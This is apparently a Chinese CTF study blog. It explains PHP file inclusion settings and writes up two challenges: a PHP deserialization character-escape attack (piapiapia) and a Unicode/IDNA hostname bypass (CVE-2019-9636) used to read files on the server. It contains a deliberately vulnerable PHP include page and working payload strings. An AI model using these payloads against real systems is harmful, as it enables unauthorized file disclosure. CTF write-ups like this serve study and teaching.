文件包含

看了看国光大佬出的题!

image-20210121084720746

image-20210121084922401

index.php

index.php
<?php
if(!isset($_GET['file'])){
echo "text-aliplay";
}
?>


<?php
if($_GET['file'] == 'test.php'){
echo "text-aliplay";
}
?>

<?php
error_reporting(0);
$page = $_GET['file'];
if($page)
{
require($page);
} else {
require('page.php');
}
?>

tcl:

先去了解下:allow_url_include和allow_url_fopen

allow_url_include和allow_url_fopen

allow_url_fopen boolean

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议

allow_url_include boolean

This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.

注意:

This setting requires allow_url_fopen to be on.

allow_url_fopen

在php.ini中开启后,允许使用file,fopen,file_get_contents打开远程url文件

allow_url_include

开启后,允许 include,REQUEST函数可以包含远程url文件

从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的!

实验

只开启:allow_url_fopen

我们可以知道file,fopen,file_get_contents这些函数不会执行php代码!只是让他们可以用url的形式接收数据!

image-20210121102148798

show_source(): http:// wrapper is disabled in the server configuration by allow_url_include=0 i

日了!show_source()他也必须开启allow_url_include!

那我就拿file_get_contents做实验!

发现个好玩的!

输入本地的tt.php发现执行不了!

image-20210121103104049

但是:当我输入:?file=http://1.1.1.1/2.php

居然执行了!

这就是allow_url_fopen原因!它把url当成文件处理了!

php5|7都是一样!

自己又总结了下:

实验得出的结论:


就是:无论allow_url_fopen和allow_url_include开不开!
本地里!像那些:file_get_contents|file|readfile等函数都不会执行本地的php代码!


但是当你打开allow_url_fopen,让这些函数可以以url的形式打开文件时!
这些函数就会把你输入php文件执行!下面有图:
不是php文件就平常一样获取数据!

image-20210121105749525

image-20210121105945714

扯远了!感觉没啥用这东西!

只需要知道开启allow_url_fopen就可以以url的形式在函数里打开文件!

开启:allow_url_fopen 和allow_url_include

如果想要include,REQUEST函数可以包含远程url文件时!allow_url_fopen必须先开!

image-20210121114020649

image-20210121114941502

这里重点讲下常用的伪协议:

img

[0CTF 2016]piapiapia

先代码审计!

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

image-20210121144040594

只要是数组那就可以逃过die(‘Invalid nickname’);!

反序列化字符逃逸!

反序列化字符逃逸!tnl!每次代码审计一头雾水!题出的不错!

先在本地看序列化字符串!

有源码我也搭不起来原环境!有点问题!不知道为啥本地会报错!和数据库建立不了联系!

反序列化字符逃逸:

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

当where变成hacker时变短了1位!借助这个点!可以逃逸!

image-20210121134408286

a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"666@qq.com";s:8:"nickname";s:4:"aaaa";s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}

再看一下数组绕过后的序列化字符串!

image-20210121135641149

a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:4:"aaaa";}s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}

需要添加的内容:
s:5:"photo";s:10:"config.php";} 长31

";}s:5:"photo";s:10:"config.php";} 34


wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

替换后:
hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}



a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"666@qq.com";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/af6f4397ef14747a05a530270c618ce3";}
<?php



$a="where";
for ($i=1; $i <=33 ; $i++) {
$a.="where";
}

echo $a;

image-20210121143412911

image-20210121143429570

[SUCTF 2019]Pythonginx

Docker 镜像加速

https://www.runoob.com/docker/docker-mirror-acceleration.html

搭环境:

https://github.com/team-su/SUCTF-2019/tree/master/Web/pythonginx

保留了原来的!怕把docker坏了!
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"]
}

image-20210121172617699

自己搭的环境咋感觉!怎么c呢!

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"


image-20210121173148834

先代码审计python之web模块学习– urlparse:

先去了解下py:😥

Python 中 urlparse 模块介绍

https://www.jianshu.com/p/8f23837210b9

1.urlparse.urlparse

将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。

import urlparse
url_change = urlparse.urlparse('https://i.cnblogs.com/EditPosts.aspx?opt=1')
print url_change

输出结果为:
ParseResult(scheme='https', netloc='i.cnblogs.com', path='/EditPosts.aspx', params='', query='opt=1', fragment='')

就是把url分开了!

Python编程:urlsplit, urlparse简单区别

https://blog.csdn.net/mouday/article/details/85613666

顾名思义,urlsplit是拆分,而urlparse是解析,所以urlparse粒度更为细致

区别
split函数在分割的时候,path和params属性是在一起的

代码示例

# -*- coding: utf-8 -*-

from urllib.parse import urlsplit, urlparse

url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"

print(urlsplit(url))
"""
SplitResult(
scheme='https',
netloc='username:password@www.baidu.com:80',
path='/index.html;parameters',
query='name=tom',
fragment='example')
"""

print(urlparse(url))
"""
ParseResult(
scheme='https',
netloc='username:password@www.baidu.com:80',
path='/index.html',
params='parameters',
query='name=tom',
fragment='example'
)
"""

python之web模块学习– urlparse:

https://blog.51cto.com/yucanghai/1695439

总结:

简单的说就是把url拆了,urlparse,urlsplit,

再把url还原!urlunsplit

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
直接构造!

考的是一个cve!

😍

CVE-2019-9636:urlsplit不处理NFKC标准化

cve讲解:

chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https%3A%2F%2Fi.blackhat.com%2FUSA-19%2FThursday%2Fus-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

image-20210121212631412

image-20210121212639506

就是通过IDNA加密后再加密解密就会发生变化!

exp:

看大佬的:

# coding:utf-8 
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

U:℀ A:a/c ascii:8448
U:ℂ A:c ascii:8450

考点是nginx!:

nginx

  1. nginx配置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

payload:

file://suctf.c℆sr/local/nginx/conf/nginx.conf


file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

发现就可以看成:
file://suctf.cc/usr/local/nginx/conf/nginx.conf
℆可以理解成小写的c/u😁😊😊
ℂ小写的c 哈哈哈字符串拼接!!!

file://suctf.c℆sr/fffffflag

非预期

师傅们tql!

题目代码里通过urlparse和urlsplit来判断里面有没有 suctf.cc

再urlunsplit和urlparse判断里面有没有 suctf.cc

通过urlsplit和urlunsplit再urlparse我们可以构造:

from urllib.parse import urlsplit,urlunsplit, unquote,urlparse
from urllib import parse
# url = "www.baidu.com/index.php?id=1"
# url = "http:www.baidu.com/index.php?id=1"
url = "file:////suctf.cc/usr/local/nginx/conf/nginx.conf"
parts = parse.urlsplit(url)
#parts1=pars
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)

image-20210121214833851

image-20210121214848401

file:////suctf.cc/usr/local/nginx/conf/nginx.conf
file:////suctf.cc/usr/fffffflag